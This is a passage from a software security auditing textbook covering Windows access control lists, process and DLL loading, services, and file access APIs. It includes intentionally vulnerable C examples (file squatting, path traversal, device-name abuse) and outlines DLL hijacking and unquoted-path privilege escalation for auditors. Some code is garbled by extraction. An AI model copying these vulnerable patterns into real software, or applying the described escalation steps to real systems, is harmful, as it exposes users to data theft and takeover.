represented by a SID, such as a user or group. You can find an excellent summary on ACEs, ACLs, and their use in Secure Programming by Michael Howard and David Leblanc (Microsoft Press, 2002(? [????.])). As Howard and Leblanc point out, ACEs are primarily composed of a SID and an access mask describing what the entry allows or denies access to. Each ACE also has a type field in the ACE header, which describes what type of ACE it is. There are a number of different types of ACEs, but for now you just need to be aware of two main types: allow ACEs and deny ACEs. As their names imply, an allow ACE grants permission to a user requesting access to an object if the ACE SID matches the user's SID and the requested access rights are present in the ACE's access mask. A deny ACE denies a user requesting access to an object if the SID entry matches the user's SID. Note Writing Secure Code by Michael Howard and David LeBlanc (Microsoft Press, 2002(? [????.])) is generally accepted as the definitive book on secure Windows programming. This book focuses on exploring specific vulnerabilities in depth, but their book is an exceptional reference for secure coding in Windows. Access Masks The access restrictions or allowances an ACE imposes are identified by the mask field in the ACE structure. This field is a bit field that programmers can use to describe what type of permissions the requesting SID must have for this ACE to be relevant. The ACCESS_MASK field is divided into three categories, described in the following sections. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 664 Standard Access Rights Standard rights are those that can be applied to any sort of object. They govern what kind of access users have to pieces of object control information, rather than the object data itself. Eight bits are reserved to represent standard rights that can be applied to an object, but currently only five are defined:  DELETE Specifies deletion access for the SID in question.  READ_CONTROL Specifies that access can be gained for reading security information specific to the object (that is, if this flag is set and the ACE is an allow ACE, the specified SID can find out the owner and group of the object as well as read the DACL of the object).  WRITE_DAC Specifies the capability to write to the object's DACL.  WRITE_OWNER Specifies that the owner of the object can be written to (that is, a new owner can be set).  SYNCHRONIZE Specifies whether synchronization objects can be used on the object. Specific Access Rights The interpretation of bits in the specific access rights portion of an ACCESS_MASK (bits 0 to 15) depends on the type of the object in question. Specific access rights are addressed in the following sections as necessary. Generic Access Rights Generic access rights, described in the following list, are simple permissions that apply to all objects in some manner. There are four generic rights:  GENERIC_ALL Setting this right specifies unrestricted access to the object in question. It's the same as combining GENERIC_READ, GENERIC_WRITE, and GENERIC_EXECUTE.  GENERIC_READ Specifies read access to the object.  GENERIC_WRITE Specifies write access to the object so that it can be modified.  GENERIC_EXECUTE Specifies that the object can be executed. This right is relevant to thread, process, and file objects. Generic access rights are translated into a combination of specific access rights and standard access rights on the object; therefore, using generic access rights require developers (and auditors) to be familiar with exactly how these flags are translated. The translation for these access rights depends on the type of object the right is applied to, and they are described on a case-by-case basis in the MSDN and throughout the remainder of this chapter. ACL Inheritance The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 665 Objects in Windows can be containers for other objects; the most obvious examples are directories and registry keys. For this reason, Windows allows you to define separate permissions that are applied to child objects. Table 11-6 lists flags from the MSDN that describe how ACEs are applied to an object and its children. Table 11-6. ACE Flags Value Meaning CONTAINER_INHERIT_ACE The ACE is inherited by container objects. INHERIT_ONLY_ACE The ACE doesn't apply to the object to which the ACL is assigned, but it can be inherited by child objects. INHERITED_ACE Indicates an inherited ACE. This flag allows operations that change the security on a hierarchy of objects to modify inherited ACEs but doesn't change ACEs that were applied directly to the object. NO_PROPAGATE_INHERIT_ACE The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE bits aren't propagated to an inherited ACE. OBJECT_INHERIT_ACE The ACE is inherited by noncontainer objects. As these flags demonstrate, ACE inheritance can get complicated. Chapter 2(? [????.]) described a privilege escalation vulnerability that results from misunderstanding ACL inheritance. This vulnerability occurs because inherited permissions on the root directory make a child directory writeable to all users. In this case, it allows an attacker to write a file in a sensitive location that can later be loaded and run. Security Descriptors Programming Interfaces To audit object permissions, you need to be familiar with how access rights are assigned programmatically. There are several ways in which ACEs are assigned to an object's DACL. The following sections describe some of the most popular methods. Low-Level ACL Control Microsoft defines several "low-level" ACL and ACE control functions in the MSDN, which allow manipulating ACLs and ACEs. They also provide the capability to add ACEs to an ACL without developers being required manually create an ACE. Some of these functions are described in the following paragraphs. The AddAce() function can be used to add a number of ACEs to the ACL specified by pAcl: BOOL AddAce(PACL pAcl, DWORD dwAceRevision, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 666 DWORD dwStartingAceIndex, LPVOID pAceList, DWORD nAceListLength) The ACE structures are supplied as the pAceList argument, which is an array of ACE structures of length nAceListLength. The dwStartingAceIndex contains an index indicating where the specified ACEs should be entered in the list of existing ACE entries. Order of ACEs is quite important and is discussed in more depth in "Auditing ACL Permissions." The following function creates an allow ACE at the end of the ACL specified by pAcl: BOOL AddAccessAllowedAce(PACL pAcl, DWORD dwRevision, DWORD AccessMask, PSID pSid) The AccessMask and pSid arguments describe the access this ACE allows to the object in question and who this access applies to. There's also an AddAccessAllowedAceEx() function that allows the caller to specify the inheritance flags. The following function acts in the same way as AddAccessAllowedAce(), except it adds a deny ACE rather than an allow ACE to the ACL specified by pAcl: BOOL AddAccessDeniedAce(PACL pAcl, DWORD dwRevision, DWORD AccessMask, PSID pSid) There's also an AddAccessDeniedAceEx() function that allows the caller to specify whether the ACE being added is inheritable. The following function retrieves an ACE from the ACL specified by pAcl: BOOL GetAce(PACL pAcl, DWORD dwAceIndex, LPVOID *pAce) The ACE returned is the one located at dwAceIndex in the list of ACEs in the ACL. Security Descriptor Strings The low-level security API is a bit cumbersome and unwieldy for most permission-management tasks, so Microsoft provides an alternate text-based interface for managing security descriptors. This capability is provided by the ConvertSecurityDescriptorToStringSecurityDescriptor() and ConvertStringSecurityDescriptorToSecurityDescriptor() functions. The MSDN describes the use of these functions in detail; however, the string format accepted by The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 667 these functions is briefly summarized in the following text, which lists the four types of entries in a security descriptor string: O:owner_sid G:group_sid D:dacl_flags(string_ace1)(string_ace2)... (string_acen) S:sacl_flags(string_ace1)(string_ace2)... (string_acen) Owner and group SIDs are fairly straightforward, but the ACE string components of an ACL require a little more explanation. The MSDN describes the format of ACE strings as shown in the following line: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid The values for these fields are summarized in the following list:  ace_type This field specifies what type of ACE is being defined. As previously stated, the most common ones are allow ACEs, specified with an A, and deny ACEs, specified with a D.  ace_flags Flags can be set in this field to indicate the ACE's properties, including how and whether it should be inherited and whether it should be audited when encountered.  rights This field is the most important part; it includes permissions for the object being described. The generic fields are specified by using G followed by R (for GENERIC_READ), W (for GENERIC_WRITE), X (for GENERIC_EXECUTE), or A (for GENERIC_ALL_ACCESS). The standard rights are RC (for READ_CONTROL), SD (for DELETE), WD (for WRITE_DAC), and WO (for WRITE_OWNER). Finally, specific object access rights have specific encodings.  object_guid This field is for an object-specific ACE.  inherit_object_guid This field is also for an object-specific ACE.  account_sid This field is the SID the ACE applies to. Putting all these fields together, here's an example of what an ACE string might look like: A;;GR,GW;;; Auditing ACL Permissions Now that you're aware of the basic permissions and access rights for a generic object type, you can look into some problems associated with neglecting to set appropriate permissions for objects. As stated previously, the primary resources an application The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 668 uses should have been established during the design phase. These resources are typically represented as objects in an application. A review of an application's high-level design should already have uncovered what permissions a resource requires, so now it's time to verify that those permissions have been enforced. In addition, you'll probably find objects used in applications that weren't relevant during the design phase; instead, these objects, such as the Mutex object used for synchronization, are an implementation detail. Because these objects aren't relevant during a high-level design analysis, it's likely a security policy hasn't been set and the developer might have arbitrarily chosen permissions for the object, which you need to pay attention to when auditing. No Permissions It's possible for an object to have a NULL DACLthat is, it doesn't have a DACL. In this case, anyone can access the object with any permission. A program that creates objects with NULL DACLs is exposing that object to interference by rogue applications that might abuse it, which can lead to exposure of information, privilege escalation, or unexpected object states and, therefore, unexpected program behavior. A NULL DACL is rarely correct, even for objects that should be accessible to everyone because a NULL DACL allows arbitrary users to change the object's owner or ACLs at any time, thus denying others access to it or exploiting some assumptions the developer made about the object. There's a subtle nuance in how an object's DACL works. DACLs are restrictive by defaultthat is, when a DACL exists, it implicitly denies everyone access unless an allow ACE grants a user access to the object. Therefore, an empty DACL and NULL DACL are quite different. An empty DACL allows no one to have access to an object; a NULL (nonexistent) DACL allows everyone access to the object. Empty DACLs aren't important for auditing, except to mention they can be used to create object instances that are accessible only to the process that instantiated them. This capability can be used to enhance an object's security, although it's rarely used. Applying a DACL at object creation is also not completely intuitive. Object creation functions expect a pointer to a SECURITY_ATTRIBUTES structure containing the security descriptor. However, supplying a NULL value doesn't prevent the security descriptor from being applied. Instead, the security descriptor is generated based on the inheritance properties of the container DACL, and the default security descriptor of the current token. ACE Order An ACL is an ordered list of ACEs, and the order in which these ACEs appear can be quite important. Higher-level APIs and GUI interfaces perform ordering on their own; however, the low-level API requires the programmer to order ACEs correctly. A developer familiar with the high-level interfaces might not understand how to use the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 669 low-level functions, which could result in a failure to apply deny entries correctly in the DACL. Proper ordering for an ACE requires placing all deny entries before any allow entries. To understand why this order is important, review how a DACL is evaluated. Before you proceed, however, remember that access rights are evaluated only when the object handle is opened, not when an existing handle is used. This is why object creation functions accept all access rights for the object handle's lifespan. DACL evaluation proceeds as follows: 1. The current ACE is compared against the token's group list, and the access mask is retained if the SID is in the group list. 2. Access is denied if the matching ACE is a deny entry. 3. Access is allowed if the collection of matching ACEs contains all bits in the requested access mask. 4. The process is repeated on the next ACE if access is neither denied nor allowed. 5. Access is denied if the end of the list is reached and the collection of matching ACEs doesn't contain all bits in the access mask. This process shows that an early allow entry could prevent a later deny entry from being evaluated. For example, a DACL in which the first ACE allows all access and the second ACE denies it would grant access on the first iteration through the list and never encounter the explicit deny entry. 7.7.6 Processes and Threads Windows handles processes in a different manner than UNIX-derived OSs do. A process itself doesn't run; it's simply a container for threads and essential process attributes that are required for the process to function. In its capacity as a container, the process provides the basic memory protection and access control boundaries expected from any multiuser OS. Although the kernel is fully capable of supporting the UNIX-style fork-exec approach, it's almost never done in practice. In Windows, the basic unit of execution is the thread, although each thread is associated with a corresponding process. All threads belonging to a process share a single address space and security boundary, so each thread has effectively unrestricted access to any other thread running in the same process. The lack of security boundaries between threads becomes important in discussing security tokens and impersonation. For now, however, you should concentrate on some process-loading quirks that occur behind the scenes. This information helps you The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 670 accurately assess the risk of being able to perform actions such as writing files to certain locations on the file system. Note Mark Russinovich and David Solomon are the authors of Microsoft Windows Internals 4th Edition (Microsoft Press, 2005(? [????.]); formerly the Inside Windows series). This book is an essential reference for anyone interested in the Windows architecture. For a more applied introduction to Windows programming, Windows System Programming by Johnson M. Hart (Addison-Wesley, 2005(? [????.])) is recommended. It might not provide the breadth of Russinovich and Solomon's book, but it offers more practical depth and detailed code samples. Process Loading Programmers might never think about Windows process loading, but it can have a major impact on application security. The CreateProcess() function is the most common method of starting a process in Windows. It accepts ten arguments in total, but for the moment, you're concerned only with the first two parameters: the application name and the process command line. The application name parameter is rarely used in practice. Instead, the first argument is typically NULL, followed by the command-line argument containing the executable path and command-line parameters. A security issue may occur when the second argument includes an unquoted executable path containing spaces. This argument causes the CreateProcess() function to traverse the path at each space character until it can find an executable file, as shown in the following call: CreateProcess(NULL, "C:\\Program Files\\My Application\\my app.exe", ...) Because the spaces leave room for interpretation, the call attempts to find the first likely file and run it. For this example, the search proceeds in the following order: 1. C:\Program.exe 2. C:\Program Files\My.exe 3. C:\Program Files\My Application\my.exe 4. C:\Program Files\My Application\my app.exe In Windows 2000 and earlier, this path traversal could be dangerous because any authenticated user could write a C:\Program.exe file that would run instead of the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 671 intended file. This error allowed a fairly trivial escalation technique for unquoted paths running in a higher context. The primary example is privilege escalation by exploiting an unquoted service image pathname. The correct way to make this call is as follows: CreateProcess(NULL, "\"C:\\Program Files\\My Application\\my app.exe\"", ...) Fortunately, Windows XP changed permissions on the root directory, which limits this attack to Power users, who already have the permissions required to overwrite the affected file. However, there has been no change to the actual handling of the filename. This means a privileged process might still be vulnerable to an injection attack if an unprivileged user can write to any directory in the executable path. When auditing, look for failures to quote any executable pathnames passed to CreateProcess(). ShellExecute and ShellExecuteEx The ShellExecute() and ShellExecuteEx() functions can also be used to start processes and result in an indirect call to CreateProcess(). However, these functions might seem a little deceptive in their naming. Both functions actually use the Windows Explorer shell API for opening files, which you might be familiar with if you've right-clicked a file in Windows Explorer. These functions accept a verb for an operation, such as open, edit, print, explore, or search. The verb (or "open" if no verb is supplied) is then used to determine the appropriate handler for the file, based on the file extension. The easiest way to understand this is to right-click a file in Windows Explorer and see the list of actions displayed in bold type at the top of the shortcut menu; these actions correspond to the verbs. From a security perspective, you're primarily concerned with the fact that these functions don't necessarily run the supplied file. They might run another application intended to handle this file type, so you need to be especially mindful of when these functions are called with any potentially untrusted input. DLL Loading Just like process loading, dynamically loaded libraries (DLLs) can have serious security repercussions. Vulnerabilities can occur because of how Windows searches for a DLL during the loading process. Historically, an ordered search for a DLL proceeds as follows: 1. Application load directory 2. Current directory 3. System32 directory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 672 4. System directory 5. Windows (or WINNT) directory 6. PATH variable directories Unfortunately, this load process creates a fairly easy way for attackers to replace a system DLL with their own DLL. All they need to do is cause the victim to run code in a directory where an attacker can write files. The attack proceeds as follows: 1. Attacker writes a malicious DLL that has the same name as a system DLL. 2. Attacker coaxes the victim to run a command in the attacker-controlled directory. 3. The loader doesn't identify the DLL in the application directory. 4. The loader identifies an attacker-controlled DLL with the appropriate name in the current directory. 5. The application loads the malicious DLL, and code runs in the context of the victim. Because of this simple attack vector, Windows XP added several features to reduce the threat of injecting a DLL via this method. The initial release of Windows XP included SafeDllSearchMode, which addresses this attack by changing the DLL load process to search the following locations in order: 1. Application load directory 2. System32 directory 3. System directory 4. Windows directory 5. Current directory 6. PATH variable directories In addition, Windows XP introduced the SetDllDirectory() function, which changes the library load path without changing the current directory. It can be used to place tighter restrictions on a runtime-loaded DLL but doesn't affect a DLL loaded at process initialization. LoadLibraryEx() can also be used in all supported Windows versions for more specific control of how a DLL is loaded. DLL Redirection Windows 2000 and XP added the capability for DLL redirection, which was intended to address the common issues with DLL versioning, often referred to as DLL hell. However, it also provides additional security considerations. Specifically, the presence of a redirection file or directory causes Windows to load an alternate set of libraries, even when a qualified path is provided in the call to LoadLibrary() or LoadLibraryEx(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 673 The redirection file is located in the same directory as the application, and the filename is the application filename plus a .local extension. The redirection file content is ignored, but the presence of the file causes DLLs in the current directory to be loaded in preference to any other locations. If the redirection file is actually a directory, the files in that directory are loaded first. DLL redirection is always superseded by an application manifest in Windows XP and later; Windows XP and later also prevent redirection of any DLLs listed in the registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. Application Manifests An application manifest is an XML file containing essential application information. It can affect the application-loading process by including a list of required libraries and modules along with specific version numbers. The required naming convention for the manifest is similar to the redirection file. The file is located in the same directory as the application, and the filename is the application filename plus a .manifest extension. Potential Vulnerabilities DLL-loading vulnerabilities occur when attackers can write a file in the library load path that takes precedence over the intended DLL. This vulnerability affected earlier versions of Windows when attackers could control the current directory. Later versions of Windows have added protection; however, they are still vulnerable to variations of this attack. Chapter 2(? [????.]) gave an example of an operational vulnerability that exploits this issue by leveraging a weakness in an inherited permission set. When auditing for these issues, you must account for the OS version the application runs on and the complete path to the executable. Then step through the library search sequence (listed earlier) and identify whether attackers can write a DLL that takes precedence over the legitimate DLL file. This process involves auditing the file ACL, as discussed earlier in this chapter. Services A service is a background process that typically is started automatically at some point during system startup. Services can be configured to run under alternate accounts and are started by the Service Control Manager (SCM). Windows services are roughly equivalent to UNIX daemons, although they also address most of the functional requirements of setuid and setgid programs because Windows attaches no special context to a binary executable. Unlike UNIX, no special permission bits instruct Windows to run a program in a different context. Instead, Windows applications handle privileged operations by creating a service that exposes an IPC interface to lower privileged processes. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 674 In Windows, services almost always run with some degree of elevated privilege and typically expose some form of attacker-facing interface. This is why most attacks on a Windows system focus on compromising a service. General classes of attacks are covered in other chapters, but considerations unique to services are addressed in the following sections and in Chapter 12(? [????.]). Service Control Permissions Services are started and stopped by issuing commands to the SCM. These control interfaces are protected by standard Windows access control, meaning the permission for controlling a service can be granted to individual users and groups. For example, the Network Dynamic Data Exchange (DDE) service is used to access a legacy IPC mechanism across the network. It's a popular target of the shatter privilege escalation vulnerability mentioned in Chapter 2(? [????.]). Part of why it makes such a good target is its capability to be started by users. This capability allows attackers to start the service if it's not already running and restart it if a failed attack causes it to crash. The ability to start a vulnerable service provides a very simple example of a security issue with service control permissions. However, more complex attacks can exploit instabilities in the service startup process. During initialization, services are often more vulnerable to a variety of attacks, such as object squatting and time of check to time of use (TOCTOU, discussed in "TOCTTOU(? [????.])" later in this chapter). Being critical in scrutinizing any application that allows service control by nonadministrative users is essential. When auditing service control permissions, you need to identify whether any control commands are allowed by nonadministrative users. You generally do this by using the sdshow command of the sc.exe command-line utility. This utility is a standard component in later versions of Windows and can be downloaded from Microsoft's Web site for earlier versions. The sdshow command displays security information in the condensed string format described in the "Security Descriptor Strings(? [????.])" section earlier in this chapter. You can review this section to familiarize yourself with the format, if necessary. Service Image Path The command line used to run a service is referred to as the service image path; this string is set when installing the service and contains the executable path followed by any command-line parameters. It might not seem like something to take note of, until you consider the earlier discussion of the CreateProcess() function. Like the majority of Windows processes, services are launched by calling CreateProcess() with a NULL first argument and a second argument containing the combined path and command-line parameters (provided by the image path string). This means an image path containing spaces might be open to hijacking by another executable, as The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 675 described earlier. The problem is especially serious for services because they run in a more privileged context than a normal user. You can check the image path by using the qc command in the sc.exe command-line utility. 7.7.7 File Access File system interaction is integral to most applications and provides a popular target for attackers to exploit dangerously written code. Safe file-handling code requires developers to program defensively because attackers take advantage of the nuances and flexibility of the file access APIs and file systems. Windows OSs in particular offer a lot of flexibility and convenience for developers. Unfortunately, these capabilities can lead to serious security issues when developers aren't aware of subtle aspects of the file system and file I/O APIs. Windows OSs control access to files through the object security mechanisms you have already explored. That is, files on the file system are treated as objects, so they are manipulated by handles to file objects. Unanticipated file accesses might produce unexpected results in several ways, however, and consequently, an application might perform in a manner other than what was intended. The following sections explore the ins and outs of file accesses and what problems might arise when attempting to open files. File Permissions As mentioned, files are treated by the system as objects (of the File type), so object permissions describe the permissions for the physical file the object represents. Files have a number of specific access rights that allow granular control over who can access a file and the manner in which they can access it. These access rights, taken from the MSDN, are shown in Table 11-7. Table 11-7. File Access Rights Access Right Meaning FILE_ADD_FILE For a directory, the right to create a file in the directory. FILE_ADD_SUBDIRECTORY For a directory, the right to create a subdirectory. FILE_ALL_ACCESS All possible access rights for a file. FILE_APPEND_DATA For a file object, the right to append data to the file; for a directory object, the right to create a subdirectory. FILE_CREATE_PIPE_INSTANCE For a named pipe, the right to create a named pipe. FILE_DELETE_CHILD For a directory, the right to delete a directory and all files it contains, including read-only files. FILE_EXECUTE For a native code file, the right to run the file (given to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 676 Table 11-7. File Access Rights Access Right Meaning scripts, might cause the script to be executable, depending on the script interpreter). FILE_LIST_DIRECTORY For a directory, the right to list the directory's contents. FILE_READ_ATTRIBUTES The right to read file attributes. FILE_READ_DATA For a file object, the right to read the corresponding file data; for a directory object, the right to read the corresponding directory data. FILE_READ_EA The right to read extended file attributes. FILE_TRAVERSE For a directory, the right to traverse the directory. FILE_WRITE_ATTRIBUTES The right to write file attributes. FILE_WRITE_DATA For a file object, the right to write data to the file; for a directory object, the right to create a file in the directory. FILE_WRITE_EA The right to write extended attributes. STANDARD_RIGHTS_READ Includes READ_CONTROL, which is the right to read information in the file or directory object's security descriptor. STANDARD_RIGHTS_WRITE Includes WRITE_CONTROL, which is the right to write to the directory object's security descriptor. These file permissions can be applied when creating the file with the CreateFile() function. When you're auditing code that creates new files, it's important to correlate the permissions applied to the new file with what entities should have permission to read and/or modify that file. The lack of correct permissions can result in unintentional disclosure of information and possibly rogue users modifying sensitive files that alter how the program works. As an example, a program is generating sensitive information about employees, including salary summaries and so forth. If relaxed permissions are applied to the file object when it's created, any other employee might be able to discover their coworkers' salaries. The File I/O API The Windows File I/O API provides access to files through object handles, so all file-manipulation functions use handles to perform operations on a file. The API provides a basic set of functionality for creating, opening, reading, and writing to files as well as performing more advanced operations. This functionality is exposed through a large number of functions; however, the main ones you'll deal with daily The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 677 are just CreateFile(), ReadFile(), WriteFile(), and CloseHandle(). These functions are responsible for the basic operations performed on files in most applications. As a code auditor, your primary focus is the CreateFile() routine because it's the most likely place for things to go awry, so this section primarily covers this function. Note There's also an OpenFile() function just for opening files, but it's for 16-bit Windows applications and is no longer used. The CreateFile() function is used for both creating and opening files and has the following prototype: HANDLE CreateFile(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwSharedMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) As you can see, this function takes quite a few parameters. These parameters are briefly described in the following list:  lpFileName This parameter is the name of the file to open or create.  dwDesiredAccess This parameter is the access the application requires to the file: read access, write access, or both.  dwSharedMode This parameter describes what access is allowed by other processes while the returned handle remains open.  lpSecurityAttributes This parameter describes the object access rights for the file if a new one is being created. It also describes whether the file handle is inheritable.  dwCreationDisposition This flag affects whether to create a new file and what to do if a file of the same name already exists. A value of CREATE_ALWAYS always creates a new file, overwriting another file if it already exists. A value of CREATE_NEW creates a new file or causes the function to fail if a file with the same name exists. A value of OPEN_ALWAYS causes the function to open an existing file if one exists; otherwise, it creates a new one. A value of OPEN_EXISTING causes the function to fail if none exist, and a value of trUNCATE_EXISTING causes the function to fail if the file doesn't exist but truncates the file to 0 bytes if it does exist. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 678  dwFlagsAndAttributes This parameter describes certain attributes of the file being created. Relevant values are described as they come up in the following sections.  hTemplateFile This parameter provides a handle to a template file; its file attributes and extended attributes are used to establish the attributes of a new file being created. If an existing file is being opened, this parameter is ignored. You can see there are a lot of possibilities for determining how files are created or opened. File Squatting In the discussion on objects, you learned about object namespace squatting. It's applicable to files as well, if the CreateFile() function is used incorrectly. Sometimes it's possible to cause an application to act as if it has created a file when it has actually opened an existing file. This error causes several parameters to be ignored, thus potentially tricking the application into exposing sensitive data or allowing users to control data in a file they shouldn't be able to control. A file-squatting vulnerability occurs when these conditions are met:  An application should create a new file, not open an existing file, but the dwCreationDisposition parameter is set incorrectly. Incorrect settings are any setting except CREATE_NEW.  The location where the file is being created is writeable by potentially malicious users. If both conditions are met, a vulnerability exists in the application whereby attackers would be able to create a file of the same name first and give the file arbitrary security attributes, ignoring the ones that have been supplied. In addition, because this file squatting also causes the supplied file attributes to be ignored, it might be possible to make the application function incorrectly by creating a file with different attributes. For example, consider the following call: BOOL CreateWeeklyReport(PREPORT_DATA rData, LPCSTR filename) { HANDLE hFile; hFile = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; ... write report data ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 679 } This code is meant to mark the report it generates for archiving, presumably so that it can be backed up periodically. However, if attackers create a file with the same name before the application, this file attribute is ignored. Therefore, attackers can read potentially sensitive data that gets written to the report file and omit FILE_ATTRIBUTE_ARCHIVE from the file's attributes, resulting in the report not being backed up as intended. Note It may seem that the CREATE_ALWAYS parameter would prevent file squatting attacks because it will overwrite an existing file. However, if a file already exits, the CREATE_ALWAYS parameter will cause CreateFile() to retain the DACL and attributes of the overwritten file and ignore the DACL supplied in the security descriptor. Canonicalization Canonicalization is the process of turning a pathname from one of several different relative forms into its simplest absolute form. It was covered in depth in Chapter 8(? [????.]), "Strings and Metacharacters," but is discussed again here because it holds special significance in Windows. Generally, it's risky to use untrusted data to construct relative pathnames. Why? Because it gives attackers the opportunity to specify an absolute path, if they are able to control the initial part of the filename argument. A simple example of a vulnerable call is shown: char *ProfileDirectory = "c:\\profiles"; BOOL LoadProfile(LPCSTR UserName) { HANDLE hFile; if(strstr(UserName, "..")) die("invalid username: %s\n", UserName); SetCurrentDirectory(ProfileDirectory); hFile = CreateFile(UserName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 680 ... load profile data ... } When auditing code, it's important to train yourself to spot bad use of canonical pathnames, as in this example. The developer assumes that by setting the current working directory and ensuring that no directory traversal double-dot combinations exist, any file access can only be for a file in the specified profile directory. Of course, because UserName is given as the initial part of the path segment, attackers could simply select a username that's an absolute path and access any file outside the current directory. In addition, CreateFile() canonicalizes any directory traversal components before validating whether each path segment exists. So you can supply nonexistent paths in the filename argument as long as they are eliminated during canonicalization. For example, CreateFile() will open C:\blah.txt if you specify a filename such as C:\nonexistent\path\..\..\blah.txt; it doesn't matter that C:\nonexistant\path\ does not exist. This canonicalization issue might be relevant when a path is prepended to user input. Here's a modified version of the previous example that demonstrates this issue. char *ProfileDirectory = "c:\profiles"; BOOL LoadProfile(LPCSTR UserName) { HANDLE hFile; char buf[MAX_PATH]; if(strlen(UserName) > MAX_PATH strlen(ProfileDirectory) 12) return FALSE; _snprintf(buf, sizeof(buf), "%s\\prof_%s.txt", ProfileDirectory, UserName); hFile = CreateFile(buf, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; ... load profile data ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 681 This example doesn't check for directory traversal, although it allows you to control only part of the filename. It makes no difference, however, because you can specify nonexistent path components. Therefore, you can still perform a directory traversal attack by using \..\..\..\test or another similar pathname. Filelike Objects Several other types of objects can be opened via CreateFile() and treated as regular files. They aren't files that appear in the file system hierarchy but objects that appear in the object namespace. These objects have a special filename format to indicate that they aren't regular files: \\host\object The host component is any host that can be reached from the target machine; the local host is indicated by using a period (.). The object component should be familiar if you've ever opened a file on a remote Windows share. In that case, the object is just the share name and fully qualified path to the file. However, the format of the object component actually depends on which type of object is being opened. CreateFile() can open several different types of objects: pipes, mailslots, volumes, and tape drives. Pipes and mailslots are IPC mechanisms that you explore more in Chapter 12(? [????.]), but for now, it's necessary to know how they can be opened as files. For these object types, the object component of the name uses the following format: type\name The type component is the class of object, such as pipe or mailslot. The name component is the name of the object. So you can open the stuff pipe on myserver by using the following string: \\myserver\pipe\stuff In Chapter 12(? [????.]), you see that Windows authentication and impersonation can make the capability to open one of these IPC mechanisms a vulnerability in and of itself because this capability gives attackers the opportunity to steal client privileges. Tape and volume accesses can also be achieved; however, a volume can't be read from and written to with the regular File API. So an incorrect open will likely become apparent to the application when it tries to perform operations on the file handle. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 682 To access these objects, attackers must control the first segment of the pathname. Being able to achieve this control isn't common, but it happens from time to time. For instance, the example from the previous section would be able to specify some of these objects, which might afford attackers the opportunity to perform an impersonation-style attack. Device Files Device files are special entities that reside in the file hierarchy and allow a program to have access to virtual or physical devices. In UNIX, this access is typically handled by storing special device files in a common directory (usually /dev). In Windows, it's handled a bit differently. Device files in Windows don't have inode entries on the file system volume, as they do in UNIX; in fact, Windows devices don't exist on the file system at all! Instead, they're represented by file objects in the object namespace. The CreateFile() function checks when a file access is made to see whether a special device file is requested; if so, it returns a handle to the device object rather than a handle to a regular file. This process happens transparently to the application. The following special device names can be opened by applications:  COM1-9  LPT1-9  CON  CONIN$  CONOUT$  PRN  AUX  CLOCK$  NUL The CreateFile() function searches the filename argument for these devices by looking at the filename component and ignoring the pathname components. Therefore, a device name can be appended to any file path, and it opens a device rather than a regular file. This behavior is somewhat hard to combat in applications because it introduces unexpected attack vectors. Specifically, if part of the filename parameter is user supplied, a device can be accessed by using any of the listed filenames. Note There's an exception: Console devices are treated specially by CreateFile(), so CONIN$, CONOUT$, and CON can't be appended to arbitrary paths to access a console device. Any of the other listed devices, however, exhibit the described behavior. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 683 Accessing devices in this way might cause an application to unexpectedly hang or read and write data to and from devices that it didn't intend to. Consider the following example: HANDLE OpenProfile(LPCSTR UserName) { HANDLE hFile; char path[MAX_PATH]; if(strstr(UserName, "..")) die("Error! Username %s, contains illegal characters\n", UserName); _snprintf(path, sizeof(path), "%s\\profiles\\%s", ConfigDir, UserName); hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) die("opening file: %s\n", path); return hFile; } Assume that UserName contains untrusted data. Although path traversal attacks have been taken into account, there is no provision for the username specifying a device file. Another point about reserved device names is that they can also have any file extension appended, and they are still considered a device. For example, the file c:\COM1.txt still opens the COM1 device. Therefore, any code that appends a file extension to a filename might still be vulnerable to attacks, resulting in the application unwittingly opening a device rather than a regular file. File Types No parameter can be passed to CreateFile() to ensure that the file being opened is a regular file, so you might be wondering how any call to CreateFile() can be secure from attack without a lot of messy string-matching code to test for device names. The answer is that several functions can be used to determine whether the file in question is a regular file. Specifically, application developers can use GetFileAttributes() and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 684 GetFileAttributesEx() to retrieve file attributes and GetFileType() to get the type of a file. In addition, you can do something in the CreateFile() call to prevent it from opening device files and special files: Use the Universal Naming Convention (UNC) form and prefix the filename with \\?\. Putting this sequence at the beginning of a filename has several effects on how CreateFile() parses the filename; essentially, it minimizes the amount of parsing performed on the filename, which causes it to skip certain checks, including whether the file is a DOS device or a special file. The caveat of the UNC form is that it changes the way the filename is handled and might create 